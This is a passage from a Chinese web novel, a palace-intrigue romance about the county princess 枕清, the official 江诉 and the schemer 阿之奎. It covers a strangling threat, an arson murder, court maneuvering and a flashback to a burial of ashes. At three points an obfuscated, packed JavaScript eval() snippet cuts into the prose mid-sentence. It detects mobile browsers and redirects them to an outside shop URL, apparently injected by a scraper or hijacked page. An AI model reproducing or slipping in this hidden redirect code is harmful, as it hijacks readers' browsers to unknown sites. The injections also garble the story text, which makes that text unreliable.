江诉先是一楞,后淡然一笑:“我祖上都是银州人,在我十三岁那年,银州水坝田堤尽毁,良田颗粒无收,便闹起了饥荒,家中长辈皆是饿死,但我侥幸存活了下来,离开了银州。 正值混乱,其他州县又有不少山匪横行,军队人数不足,而我被抓去充了军,又因太过饥饿,并没有反抗,也便随波逐流了。 一年过后,我受了重伤,军队将我遗弃在路上,所幸被人搭救,在别处混迹两年多,又长途跋涉半年,这才进入长安。后参加科举考试,夺得状元,一步步走到了现如今的位置。” 江诉语气平静,神情淡然,如果不是内容太过坎坷,枕清会觉得江诉这一路走来都极为顺畅。 江诉思绪回转,反问道:“那你呢,小时候又是怎么样的?” 枕清睫毛轻颤,声音略低:“记不清了,就记得沿街乞讨。” 沿街乞讨。 换作别人指不定要嘲笑一番,或者是觉得不可思议,可江诉什么神情都没有显露出来,而是认真思考。 仿佛是一件很平常的事情,没有什么大不了或者是有任何嘲笑的地方。 江诉问:“禹王呢?” 枕清伸出手挡了挡天上的烈阳,回想道:“他又不能时时刻刻的顾着我。小时候那些野孩子总是骂我,也说我不是阿耶亲生的,我是被阿耶捡来的。所以我生气地跑了出去,之后走丢了,那几个月一直在沿街乞讨,但阿耶又把我找回来了,还让我把说我的那些野孩子通通揍了一遍。 “不过我自己也挨了一顿板子,自那次以后,阿耶看管我厉害得很,后来就上学堂,跟着师傅学一点自保的功夫。” 江诉并没有听过就作罢,而是认真问她:“走丢的日子,很难受吧?” 很难受吧? 枕清微微失神,她不知道为什么江诉会说这句话。 “比起走丢的日子,我更怕后来的日子。”枕清注视江诉,不由自主地试探道,“就跟你一样,害怕这个世界,又不得不被迫承受这个世界。” 他眼眸深邃而明亮,偏又像是毫无波澜的湖面,一如既往的宁静。 没有反驳,没有疑惑。 还是那个江诉,还是那个穿越而来的江诉。 枕清缓身凑近,轻轻上抬眸眼,望着他道:“所以中丞大人,你说我该怎么走,你教教我呗。” 气息互错,江诉低垂眼看着她的动作,忽然俯身靠近。 枕清呆滞目光,又缓缓从眉眼看到鼻尖,再移至唇瓣。 他的唇瓣柔软又红润,微微上翘,轮廓分明的下颌,线条柔和,给人温柔亲和之感。 枕清的脸和江诉近在咫尺,她脸颊突然发热,舔舔干燥的唇瓣,不自在地移开,仿佛是做了什么见不得人的亏心事,心率急促跳动。 江诉将枕清的神情看在眼里,他缓缓勾唇,仿若一语双关道:“那就要看县主想要怎么做了。” - 余晖落得晚,但天终究会黑的。 枕清回望身后,只剩一层倾斜的昏影。 王闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665308|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼注意到枕清的视线,回眸而视,只见宫廷之内的点点星火,犹如黑夜吞噬光点。 待人走出了宫门,枕清想要跟王闻礼告辞,没曾想,王闻礼单臂勾住她纤细的腰肢,一把就将其抱起,上了马车,桎梏在角落里,隐隐有盛怒。 他冷声质问道:“你去了哪里?” 枕清感受到胸腔传来的怒意,她面上不显,只露出茫然又无措的神情。 王闻礼冷笑,他俯下身掐住枕清的脖颈,手中加大动作,感知到单薄柔软的身子因为惧怕而微微颤抖,越来越清晰的窒息使人惊慌。 他低垂目光,仿佛怜惜似的抚摸她的后颈,轻轻道:“把我的人甩开之后,你又去见了谁,县主可真是会阳奉阴违啊。你应该知道我的手段,即使是女郎,我也不会心慈手软。” 指腹反复抚摸过纤细白净的脖颈,上了浓重的红色,枕清眼角留下一道泪痕,她生涩道:“怎么?只允许你派人跟着我,我不允许我单独闲逛?王长史真是不讲道理,我只是去更衣罢了!” 王闻礼看着那道泪,突然迟钝半刻,他的心倏地跟着坠落。 她和别的女娘不太一样。 枕清不似别的女郎那般乖顺,也没有大家闺秀的风范,反倒是满心满眼的鬼点子,叫人稍不注意和留神,就能在他手中逃脱个干净。 他喜欢这种不受控制的感觉,却又极其厌恶这样不受控制的感觉。 人总是矛盾的。 他想。 王闻礼怜惜地看着她,刚想抬手擦拭枕清脸上的泪,枕清偏过脸,本能地推开他。 这动作惹得当即王闻礼不快,他抓住枕清的手拉近在自己的胸膛,枕清被桎梏得动弹不得,她冷冷抬眼道:“王长史别忘了,我是县主,你若是敢杀我,下一个丧命的就是你!” “你这张嘴我真是不喜欢。”他危险地眯起眼,松开手道,“早晚有一天,割了你的舌头。” 枕清得到解脱,躬下身子,扶住胸膛,剧烈地咳嗽了起来。王闻礼冷眼看她,见枕清又朝马车的角落退去,她碰了碰自己的脖颈,警惕地盯着他,王闻礼当即冷笑出声。 从下了宴会后,王闻礼就开始变得烦躁,仿佛是遇到了什么麻烦事。 自从离开宴会,枕清就没再进去过,只是等人出来。 她倒也能猜到些许,不过是太后找了个由子把他留下来了,想要把王闻礼困在长安当作陇右大都督的人质。 猛兽被困在牢笼里,猛兽怎么会高兴呢? 今日这朝局也因为这一次也被好好清理了一番,表面是为了云流生辰,实则是想好好梳理朝堂才是。 太后殿下这一举两得的功夫,声东击西,实在了得。 待马车停下来后,枕清直接下了马车,也不去王闻礼的府邸。 两人错身时,枕清的胳膊被他抓住。 枕清实在是忍无可忍了,她从来没有被这么无礼的对待过,方才在马车受桎梏无可施展,现在她可不会让着他!枕清面上浮起愠怒,她抬手就打了王闻礼一个耳光。 声音清脆响亮。 彼时的天空已经拉下一层朦胧夜色,皎洁的月光漾荡在水缸里,湖面上,清浅的波动起涟漪,就连这声响被传在风里,叫人冷瑟害怕。 两人伫立在路旁,下人们暗自装聋作哑,不敢出一声气息,生怕恼怒了两人,引火烧身。 王闻礼的神情茫然无措,被打偏的脸微侧着,好似被下了定术。 良久后,他抬手抚摸自己微疼的面颊,只听枕清气急且嫌恶地怒骂他道:“疯狗。王闻礼,你现在就像是一条发疯的恶狗!” 17. 窗翠侵影渺烟霏(八) “是疯狗的人哪里是只有王闻礼一个啊。”阿之奎看着各个友人,幸灾乐祸道,“不过我听说太后把他困在长安里了?” 其中一男子身着绿衣锦袍松松垮垮地落在膝盖上,手搭在曲起的膝盖,整个人随和又慵懒。 他笑道:“他那样狠的人,要是再放虎归山,只怕是连座山都要归他这只老虎了。” 秋淮波跟着附和:“郡王说得是。” 李酌赋闻言挑眉,倒是举杯笑看了一眼秋淮波。这里的郡王也就指他李酌赋一人,他是圣上恩赐封的郡王。 其中大臣、节度使,异姓封郡王者也有,但并不多。 在这长安里的,也就他一人。 至于秋淮波,他也并非是什么小门小户,他是户部尚书的嫡长子,朝中不少大小事宜也得经他父亲的手。 阿之奎若无其事地看着这两人,其他友人也跟着另起话题。 秋淮波心不在焉地伸出食指弹了弹杯中酒水,对于身边的女子不太满意,视线不由转向阿之奎身旁的那名女子。 他出现的时候,里边的不少女娘碰头发的碰头发,整理衣服的整理衣服,都想引起他的注意。 只有齐离弦在喧闹的场合里,安静地待在角落里,也不怎么说话,只是淡淡地坐着,偶尔喝两口清酒,面容没有什么喜与怒,更不会像别的女郎打情骂俏,卖弄风姿。 她就像一缕烟,感觉下一秒就要消失。 这样的一个人,反而在人群里更突出,更显得与世无争。 这能不一眼万年吗? 这就是一眼万年啊! 秋淮波思忖片刻,还是出口问道:“你身边的这个女子倒是长得不错,不知道奎兄是否可以忍痛割爱啊。” 李酌赋别有深意地瞧了这人一眼,笑骂道:“知道人家要忍痛了,秋郎君还好意思问啊。” 被点到的齐离弦看向秋淮波,突然呆滞住,她这些天一直在和阿之奎作对,每次想要出府都要功亏一篑,整个人都散发着悲伤苦恼的气息。 阿之奎没有理会那几声调笑,只是看着齐离弦,仿若很好说话。 他问道:“秋郎君想要你,你要去吗?” 齐离弦知道阿之奎没逗完她,是肯定不会放手的,无论怎样,结果都是一样的。 她满不在意道:“自然听你调遣。” “好啊。”阿之奎唇角勾起莫名的笑意,“过两日,秋郎君若是能来我的府邸里,我定亲自把人送到你手上。” 最后一句说得极重,仿佛是咬出来的。 众人神色一凛,似觉不好。 只有秋淮波一人顾着高兴,半点也没听出来有什么不对。 他举起酒杯朝阿之奎敬上,诚恳道:“多谢。” 李酌赋饶有趣味地在这三人间徘徊,就算看不出来阿之奎对身旁的女郎有情也就罢了,怎么还敢向他伸手要人。 简直不知死活。 隔日长安酒楼就起了火来,烧了整整一夜。 金吾卫的人赶过去,已经烧去了一大半,被烧死的人有一个掌柜,还有几个安南人。 若是这样也就罢了,可竟然查出,还有一个是户部尚书的嫡长子秋淮波。 这可谓是叫人头疼,大理寺卿被户部尚书压着,他想把摊子全部丢给罗长观,但罗长观直接推脱说自己有波斯商人那件事,没时间追查,甚至还有挑出县主刺杀那件事,比他这大理寺卿忙多了。 这个摊子谁也不想碰啊,礼部尚书丧子之痛,要是给出的结果不满意,头一个遭殃的可不就是他嘛! 焦头烂额,简直焦头烂额! 听到这个消息的时候,阿之奎还在逗笼中鸟,叽叽喳喳地声响,可劲地欢喜。 阿之奎有意叫下人再次禀报此事,让齐离弦听得一清二楚,他笑着道:“怎么办?你去不了了。” 眼神尽是得逞的笑意。 齐离弦震惊阿之奎的手段,她脸颊浮起怒意,指着他道:“你居然把人杀了?这里是在长安,你怎么敢的?!” 阿之奎放下手中逗趣的棒子,朝齐离弦逼近。齐离弦被他逼得步步后退,直到整个人都被抵着墙角处,退无可退。 她的手被阿之奎抬起后紧紧攥住,齐离弦皱着眉眼挣脱不开,阿之奎盯着她袖中那颗药,当即拿出来,用力甩了出去,落在在湿漉漉的水坑里,溅起一洼水。 齐离弦面色微变,她怒意渐起,直到她抬眼望进阿之奎低垂的目光里,那眼中显露的狂妄和狠戾,叫她似被泼了一盆冷水,无端令她心颤。 阿之奎冷眸带着审视,紧紧盯着她道:“你当真以为我不知道你上次去了什么地方,见了什么人?我告诉你,这天底下没有什么是我不敢的!” 似乎察觉到这样的模样叫齐离弦害怕,他收敛了神色,缓和语气:“齐离弦,既然是你要回来,我劝你乖乖听话,不然继秋淮波之后,便是枕清了。” “你在威胁我?”齐离弦气急,猛地甩开他的手,心却突地阵痛,无力地倚靠在墙上,缓缓下坠。 她垂下眼睑,喃喃道:“枕清……” 阿之奎冷眼看她下坠,半会后,突然叹息一声,最后蹲下身子拢住齐离弦,手掌轻轻贴在她的脑后,从上至下,温柔抚摸她的后颈,偏执又眷恋。 “无论怎样你都会恨我。”他艰难地扯唇,眼中挣扎和悲痛一晃而过,继而狠戾起来,“那便继续恨好了。” ...... 枕清听到长安的酒楼失火,便已经知道阿之奎烧了安南大皇子,也就是阿之奎大哥的酒楼,搅毁隐藏在长安的情报地。 至于为什么杀了秋淮波,枕清也没想明白。不过阿之奎此人喜怒无常,行事作风无法捉摸,她觉得会出现这种事,也不意外。 枕清坐在窗边,手捧几卷画轴。 屋外的风吹过高挂的红色灯笼,顺势灌进阁楼里。 枕清的碎发被风轻轻抚开,她缓缓顾向窗外,见院子外的花隐隐有暗发的趋势。 她今日还邀请了人来禹王府,于是搁下画轴,走了出去。 今日的枕清画着明媚的面靥妆,身着轻薄朱红、黄栌的大袖直襟披衫,像云又像雾的宽博长裙曳地,站在小院中央的花草之间,她是最明艳的一朵。 “芜绿绕小院,花落春已深;重帘自在垂,屏掩弄轻青。” 陆佑善朝身后的几位小娘子笑道:“瞧瞧这屏后还是个美人儿。” 枕清听到声音,转身看着屏风后的那一群人,突然也跟着笑出声道:“这里美人可不止我一个,长安的风水养人,各个绝色。” 各位小娘子听到这话,乐得开怀,都贴身凑到枕清跟前。 在这长安里最富贵的女人,除了当今太后殿下,当属是禹王府里的枕清,大启唯一的县主。 大家都想攀上一点高枝才好,枕清看着众人,和善地笑着,甚至还叫人拿出珠宝供给挑选,不少小娘子觉得枕清大方可人,与此前的传言大相径庭。 今日聊得开怀,到太阳落山后,众人才依依不舍地离开,陆佑善落在众人的身后,跟枕清调侃道:“你今日可是破财了。” 枕清笑着回道:“可能是破财消灾吧。” 陆佑善微微一笑着离开,直到在枕清看不到的地方,唇瓣的笑意逐渐生硬,神色忧心,恰似有池鱼之虑。 卷柏连忙扶住陆佑善,见主子神色不好,小心翼翼问道:“小娘子这是怎么了,县主今日如此大方,其他娘子也高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665309|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴极了,您为何露出如此担忧的神情?” “大方?”陆佑善突然有些苦涩,“她这哪里是送人呐,分明是帮她洗赃物。” 卷柏低头:“婢不懂。” 陆佑善解释道:“这些珠宝应当是波斯那批货,她都送在朝中贵妇手里,你说干不干净?谁还敢有胆量逐一追查,不干净的也要变成干净的了。” 她轻轻笑,恰似觉得好玩般又道:“真是好本事,果真是长安的风水养人,以为是个活菩萨,结果是个活阎王。” 卷柏垂首,不敢说话。 亭台楼阁,假山怪石。 藤萝翠竹,绿树掩映,好似走进仙境,处处皆是景致。 “哪里是长安的风水养人,我看这禹王府里的风水更甚,更像是能养出个活阎王来,县主怎么这般能耐,连我身边的人也安插得到。” 不知何时阿之奎就已经走进这禹王府的小院。 枕清避而不答,也没觉得阿之奎是不速之客,她正好有事想要问他,单刀直入道:“你和江诉认识?” 阿之奎挑眉:“谁?” “春日宴会上,你所盯着看的那人。” “不记得了。” 他们两人似乎对这些往事闭口不谈,却没有对过口径,怕是什么难以回首的往事。 枕清轻扯唇道:“无事不登三宝殿,那你来我这里,是做何事?” 阿之奎闻言,脸色一黑,语气不善道:“齐离弦晕倒了,她想见你。” “这就是你求人的态度?”枕清微笑道,“我可以去见她,但我要知道你和江诉的关系。除了江诉的事情,你对我毫无价值。” 阿之奎突然诡异地笑起来,他见枕清这般态度,想必是知道了上一世的事情,所以才这么逼问他和江诉的关系。 阿之奎警醒道:“你可真是自大,别忘了最后是谁攻进了长安。” 枕清抬起清寒的眸子直视他道:“螳螂捕蝉,黄雀在后。你最后上位了吗?” 阿之奎怒道:“可是你先死了!” 枕清反问:“你难道不知道我和商震的关系?” “什么意思?”阿之奎冷眸凝视她。 枕清视若无睹,冷冷微笑道:“他是我的师傅,从你攻打鄞州开始,我就已经叫他准备了。” 她缓缓站起身,挑衅地扬起眉眼,道:“我为什么会死?当然不是因为你,而是我中毒后无药可解。而你,与我自是不同。功亏一篑,棋差一招,和我胜券在握,哪能相同并论的。” 好一句——“功亏一篑,棋差一招,和我胜券在握,哪能相同并论的。” 阿之奎从来不知道枕清那张嘴是这么会气人的,在别人的心窝子里扎刀子扎得厉害极了,却又奈何不了她。 他平生最痛恨差一点。 “所以你在这里和我揭底,又是什么意思?告诉我你就是幕后黑手,让我小心警惕你。”阿之奎咬牙切齿道,“那我真是要多谢你的好意!” 枕清平静地对上他的神情,像是在看一个在唱独角戏的丑角。 枕清唇瓣弯起甜甜的笑容,语气分外刺人心:“并不是我想让你警惕我,而是我想告诉你,我从来没有想过我会输,即使我死了。所以,你的功成身就,对我一点都重要,我只想知道你和他的关系。” 阿之奎点点脑袋,恰似首肯般道:“既然你想知道,那我就告诉你,我和江诉是同一个地方的人,我认识他时,比任何人都要早,县主可满意了?” 枕清问:“仅此而已?” 阿之奎:“仅此而已!” 枕清微微愣怔,心中突然松了一口气。 那么相识的时候是现代吗? 还是那个所谓的阿只? 18. 雨过青衫添晴色(一) 阿之奎带枕清走进齐离弦所居住的小院里。 此处景色错落有致,亭台楼阁,端方有序。不仅有鱼池,还有溪流随假山潺潺流动,曲折回旋,精致典雅,就连花草被修剪打理得格外漂亮,能看出主人的精心布置。 枕清意外地看了一眼阿之奎,心底隐隐生出不安来,但也只好压下心中思绪,踏进屋内。 屋子干净敞亮,外边落到屋内的采光极好,随处可见的昂贵的彩瓷摆弄着花枝,增添盎然生机,视线移至角落里,甚至还能见到许多漂亮的稀奇玩意整齐陈列。 可见主人的喜爱程度。 枕清掀开丝制帘幕,齐离弦正躺在床上,面无血色,口齿紧闭,小丫鬟正面色焦灼,手中的汤药无论如何都送不进去。 唯独见到枕清,齐离弦眼里才有一点神韵。 阿之奎克制地抿唇,枕清从丫鬟手中接过汤药,齐离弦小心地看了一眼阿之奎,发现阿之奎正目光沉沉地望着自己。 齐离弦像是突然被鱼刺哽了一下,她轻轻张了张口,喝了枕清送来的药,待苦涩的中药全部下肚,阿之奎已经离开了屋子,只留下枕清一人。 屋内瞬间变得空荡荡,所有的逼迫的气息都消散殆尽,只剩中药的苦味落了一地。 齐离弦视线划过一抹落寂,她看着屋外,稍稍抓住枕清的袖子,支撑自己坐在床上。 半晌后,她痛苦的闭眼,声音干涩颤抖:“阿之奎杀了秋淮波,他还在客栈里放了火,把背叛他的安南随从也抹杀在这场大火里,他甚至还和大启的官员暗中交结……” 说完这段时间她所知道的事,忽而卸了力,眼睫颤动得厉害,她又咬了咬发白的唇,再次睁开眼时,她望进了枕清那双清冷温柔的眸子中,突然生起万点的小心翼翼来。 “你为了见我,演了这一出苦肉计?”枕清问道。 齐离弦一直以为枕清性子清冷寡情,没想到枕清开口会问这一句。她觉得枕清是只会在乎结果的人,至于过程如何,她并不关心,更何况是什么苦肉计。 齐离弦张了张口,小声道:“我没有其他办法了。” “下次别这样了,如果阿姐在的话,她也一定不想看到你如此伤害自己的身体。”枕清伸手盖好她的被子,轻轻道,“你想逃离这里吗?远离阿之奎,你若是想,我就帮你。” 远离阿之奎。 齐离弦的心下意识一颤,她看着枕清那张眉目如画的面庞,心思凝滞,唯独那双漂亮的眸子看向她时,叫她不自觉地敏感担忧。 她居然会害怕枕清拆散无名无份的他们,亦或是惊醒她,她盼望着内心一直这么沉睡下去,抗拒枕清撕开毫无边际的虚影。 最后,她如实道:“我不知道。” 枕清握住齐离弦冰冷的手,齐离弦已然越陷越深,明明才一个月的时间,怎么会变成这样,还是她和阿之奎的关系早有迹可循。 枕清警醒道:“他在长安待不久的,最多几月,你难不成要跟他回安南去?你和他的立场,始终是不一样,我希望你自己好生考量轻重缓急。” 真到那个时候,她就是落到两难境地,这边容不下她,另一边未必会觉得她是自己人。 里外都不是人。 枕清一针见血道:“你也知道,你现在在用你自己的命,博他一点怜惜。” 也正是因为怜惜,齐离弦也才得以见到枕清。她不知道自己是因为真的想告诉枕清那些所谓的情报,还是想知道自己在阿之奎那里究竟有多少分量。 这样的女儿家把戏,她曾经不屑一顾,可是不知道从哪天开始,她和阿之奎的感情,就发生了一个错误的开始。她太害怕了,害怕一回头就是再难回头了,也害怕自己无法抵挡内心的不舍。 断舍离。是多么难的三个字。 齐离弦心中升起仓皇,她逃避枕清的目光,像是告诫自己道:“再留一年,一年后我就离开,和他再无瓜葛。” “你舍得吗?青山寺外,从你要回去的那一刻起,你的心就在对我说谎。”枕清忽地产生无力感,“由爱故生忧,由爱故生怖,若离于爱者,无忧亦无怖。你明知道没有结果的事情,你也要强求吗?”[1] “没有结果?什么叫没有结果,什么又叫有结果,我一定就要和他对立吗?就因为他是安南人?”齐离弦捂住胸口,悲痛道,“那你心中的那个人呢?你也会离于这个爱者?” 在齐离弦句句紧逼下,枕清看齐离弦的目光变得沉重深邃。 枕清冷声道:“若是他与我对立,我亦会弃之!” 声音坚决,没有一星半点的犹豫,仿佛在枕清心中,很多事情都难以撼动。 好一句“若是他与我对立,我亦会弃之!” 这句话在齐离弦心中深深扎根,她眼眶微红,面露痛苦挣扎,枕清转过视线,不忍再看。 不知何时,屋外下起了一场朦胧小雨。 “她演这一出苦肉计你就信了?”那人问。 见阿之奎没有说话,那人笑笑,又道:“你倒是对她心肠甚软。” 长廊下,一滴一滴的雨水,像是窜进他的皮肉里。 阿之奎眼神微动,轻道:“她想见,那就见吧。” 这话像是妥协,又似叹息。 许是因为喝过药,又下了一场下雨的缘故,齐离弦躺在床上安稳地睡着了。 枕清知道齐离弦怏怏不乐,便也迟迟没有离开,直到看到悄声走来的阿之奎,突然有些头疼。 从小院走出来到现在,她知道阿之奎是喜欢齐离弦的,院子里的所有好东西都紧着齐离弦,起码在吃穿用度上没有半点亏待。 已经到了这般境地,枕清也不觉得齐离弦在这相处中,不会对阿之奎有那么一丝的心动。 正是因为心动,才难以割舍。 这就叫做明知山有虎,偏向虎山行。 枕清起身示意自己有话和他谈。 阿之奎瞧见齐离弦安然入睡,放下一直悬着的心,带枕清去了偏院。 枕清率先出声道:“我见你也喜欢她,何不为了她放下你的身份,带她远走高飞。” 阿之奎若有似无打量枕清,笑道:“那为什么不是她为我放下大启身份,陪我来安南呢?还是说,是你不愿意?” 枕清承认道:“是我不愿意,若是大启和安南对立,到时候你又叫她如何自处?” 阿之奎道:“她若是跟着我,无须想这么多。” 枕清道:“现在无需想这些,那么日后呢?倘若你是担忧安南王,我可以帮你,叫他一定找不到你们,你们大可扬长而去。” “这么久了,你总算说了一句我爱听的话。可惜我不会放弃这个身份,这个身份是我的执念。”阿之奎眸色微深,“身份我要,人我也要。” 他明明不是安南人,为何一定要执着这个身份?若真是为了富贵,以他如今的本事和地位,未必不会有。 人我也要——他居然说得这么坦然,简直…… “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665310|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可救药!”枕清斥道。 “我本就无药可救。”阿之奎道。 枕清当即站起身,不再与他多说。 阿之奎突然哎了一声,悠然道:“你还想不想知道更多有关江诉的事情?” 枕清停下脚步,看他这般自得的模样,怎么看都像是在耍坏心眼子,一点也不靠谱。 她轻呵一声:“不必,我自己去问。” “你真以为他会告诉你?” “那也与你无关!” 阿之奎道:“他不会告诉你的。” 枕清冷声道:“我说了,与你无关。” 枕清自顾自拢了拢袖子,拿起一把油纸伞,大步跨出门去。 比起之前的事情,枕清更想知道后来,江诉对她又是怀着怎么样的一份心情,是不是会有那么一点的不舍和惋惜。 又或者在她死后,江诉带着她的尸体去了哪里? 苍江几曲,芦苇如烟。 清流潺潺,怪石卧波。 摇船的船夫将船稳稳停在岸边,探身看着抱着一盒坛子的郎君,轻声唤道:“郎君,扬州到了,可以下船了。” 那郎君生得好看,他一身青衫,墨客风骨,落在肩头长发随风清扬。葱白的手指握紧坛子,神色淡然依旧,只是那面容有几分说不出的憔悴,仿若是大病初愈。 可算是个怪人。摇船的船夫暗自思忖。 船上的客人听到船夫的声音,便弯身走出船头,然后扯了扯苍白的唇瓣,礼貌笑道:“多谢船家。” 船夫感到惶恐,连忙摆手。 虽说他向来喜欢文文气气的读书人,只是看此人状态着实不好,只怕再多说一句,这人就能晕倒在他跟前,生怕讹上自己,着实不敢在这人眼前多停留。 江诉看着船家落荒而逃地远走,缓缓收回视线,他抱着枕清的骨灰,先是去了枕家的衣冠冢。 这衣冠冢是很多年前修建的,不过只有江诉一个人知道,也只有江诉一个人来过。 他选了一块最高的地,把枕清那一坛子的骨灰埋到一个中心的位置。 没有立牌,也没写字。 仿若这个世界,只有他一个人知晓她的存在。 江诉捂唇轻轻咳嗽一声,感受顺势而来的风迹,突然觉得有些冷寒,他有些撑不住弯身咳嗽,唇角在这一声声咳嗽里,逐渐溢出血迹,脸色犹如半个死人。 猎猎作响的风吹拂他的衣袍,灌进来的冷风令常人都觉得刺骨。 江诉站在这里好半晌,才轻轻说:“你回家了。” 仿佛是在告知,又像是在自语。 一月前,千里之外的妙言寺外,江诉和智者大师的对话,仿佛还在耳边回荡。 智者大师手中拿着一串小叶紫檀,定心凝神道:“阁下有喜欢的人吗?” 江诉平淡地回道:“有。” “那怎么不去找她?” “不敢,她说恨死我了。” 智者大师眺望远方,缓缓道:“恨亦是爱,恨亦是恋,恨更是不肯忘却的执念。” 江诉苦涩一笑,怅然道:“她无爱亦无恋,早已了却尘世执念,驾鹤瑶池。” “驾鹤瑶池……” 江诉唇角溢出鲜红血迹,忽然倒在了那块萧条荒芜的无字无碑土地上。 他念着。 上方是他,下方是她。 他想着。 如果可以重来一次。 他想偷着命运,换一场重逢。 19. 雨过青衫添晴色(二) 观和二年,入夏。 初夏的长安下了一场大雨,天色昏沉,黑压压的乌云压了一片又一片,重重叠叠,如墨色般浓重,直叫人觉得压抑。 书阁内,幔帐上绣着金丝银线的纯正兰花,风起梢动,送来一阵沁人肺腑的熏香暖气。 枕清坐在窗棂前,眼看着这雨是越下越大,直至午时,雨稍微停歇。 “江中丞,我们都赏了一早上的雨了,还要看吗?”枕清百无聊赖地收回被雨打湿的手,拢了拢袖子,走到江诉的桌案旁,点点桌案上的纸。 江诉注意到她手背上的雨珠,拿出帕子递给她后,弯唇道:“你想要做什么?” 枕清弯了弯眼,狡黠道:“我想要去太学!” 说完这句话,她的注意力才落在手边的帕子上,就一个纯色,既没有精致秀丽的花边,也没有花草样式的刺绣,极其简单。 跟江诉这样的人,倒也还挺相近的。 不过若是绣上竹子,倒会更漂亮些。 可惜她不会女工刺绣,擦拭过后也只是若有所思地放在一旁。 江诉问:“去太学做什么?” 枕清凑身握住江诉那只笔,答道:“看看那些夫子怎么教的喽,是否和江中丞一样。” 江诉道:“好。” 枕清疑惑,微微抬起眼尾,笑道:“你今日怎么这么好说话?” 江诉碰了碰那只被她握住的毛笔,示意她松手后问道:“你觉得我平日里很难说话吗?” “自然不觉得,江中丞在我这里,可是最好讲话的一个人呢。”枕清松开手,转身去开门。 门扉大开,空气里涌进了几分雨后混杂泥土,清冽的草木气息。 她提着裙摆趟过一洼又一洼的池水,发觉好像漏了那么一个人,直到看到角落里摆着琳琅满目的花瓶,才想起来陈琅还在王闻礼的府邸里。 枕清当即停住,随即转身,和正走上前的江诉撞了个满怀。 两人相互磕碰间,身形俱是不稳,江诉下意识护住枕清,避免她朝后倒去。 枕清感受到腰身被江诉环住,身子稍稍僵硬,不由自主地屏住一刻气息,感受手掌在她腰上的力度微动,变成松松垮垮的护住,好似不敢越雷池半步。 隐忍又克制。 她垂眸看着江诉衣服上的简单回纹,宽大袖袍轻轻碰着她的衣摆,她察觉到江诉的手微微垂下,似要往后退。 枕清心突然空了一瞬,她挪进半步,直接一不做二不休地抱住江诉的腰际,停止江诉后退离开的动作,后将脸埋进江诉的胸膛里。 枕清便是这么一个人,如果别人朝她进一步,她要退三步,若是对方退三步,她便要进十步。 敌进我退,敌退我进。 在江诉身上体现得更为淋漓尽致。 经枕清反抱的行为,反倒是让江诉停了动作。 半刻后,江诉原本垂下的手,才敢稍稍抬起,从而环住枕清的腰身,切切实实地落在她的腰肢上。 枕清感受到那只手贴在她的腰,似是很轻浅,又似是很厚重,身后的那一块皮肉却逐渐变得滚烫了起来。 她感受到江诉错乱的心跳,于是轻慢地勾起唇,像是得逞后的模样。 她抬起精致美艳的小脸,双眸和江诉低垂的视线对上,她缓缓说:“江中丞,你的心,跳得好快。” 见人不应,那张唇瓣又启:“快到,好像把我的心也跳乱了……” 江诉闻言,手中的动作一紧,又珍重般稍稍松开。 他抿着唇,一语未发。 枕清逗弄完人,退着离开他温暖的怀抱,微微一笑道:“今日我就不去太学了,我忘了一个人,改日再去。” 像是来去自如的浪荡情子,撩拨了心弦又无情离开。 可谁知道看似所谓的浪荡情子,是否动了真心。 江诉看着枕清转身即走,没有半点留恋的身影,挂着自如的笑意在此刻顿了顿,他默默蜷缩了下手指,方才继续往前走。 在下一刻,他看到了来找枕清的陆佑善。 陆佑善也看到了江诉,旋即愣怔在地,仿佛遇到了什么豺狼虎豹,转身一脚踩进湿漉漉的花坛中,裙摆溅起一身泥点子。 她没有管身上这点脏污,慌不择路地走向与江诉相反的另一边。 虽然着急,却也没忘记礼节,勉强维持笑意跟阍人说:“我有东西落在家里了,改日再来见县主好了。” 卷柏看到江诉,也低着脑袋跟随自己的主子陆佑善逃走,方才江诉和枕清亲密无间地抱在一起,还在她脑海中浮现,挥之不去。 江诉看着她们落荒而逃的背影,平静地敛眸,自顾自走向禹王书房那边。 枕清到王闻礼府邸的时候,陈琅正喝着西域葡萄酒看着郢曲,没有半点受委屈的样子,应该是已经开始享受上在这府邸里的日子,唯独看到枕清的时候,眼中浮起不一样的怒火。 枕清知道自己这事情做得不对,非常地和颜悦色,对陈琅笑眯眯道:“方丈莫生气!我这不是来接你了吗?” 陈琅咬了一口梨,讥讽道:“呵呵,难为你还能记得起我。” 枕清第一次给人陪笑,好在陈琅也没难为枕清,反倒给她说了一个惊天大秘密似的。 陈琅压低声道:“这王闻礼也不干不净,我还看到他那天晚上回来,脸上有个巴掌印,一看就是拈花惹草,被哪位女郎打的。” 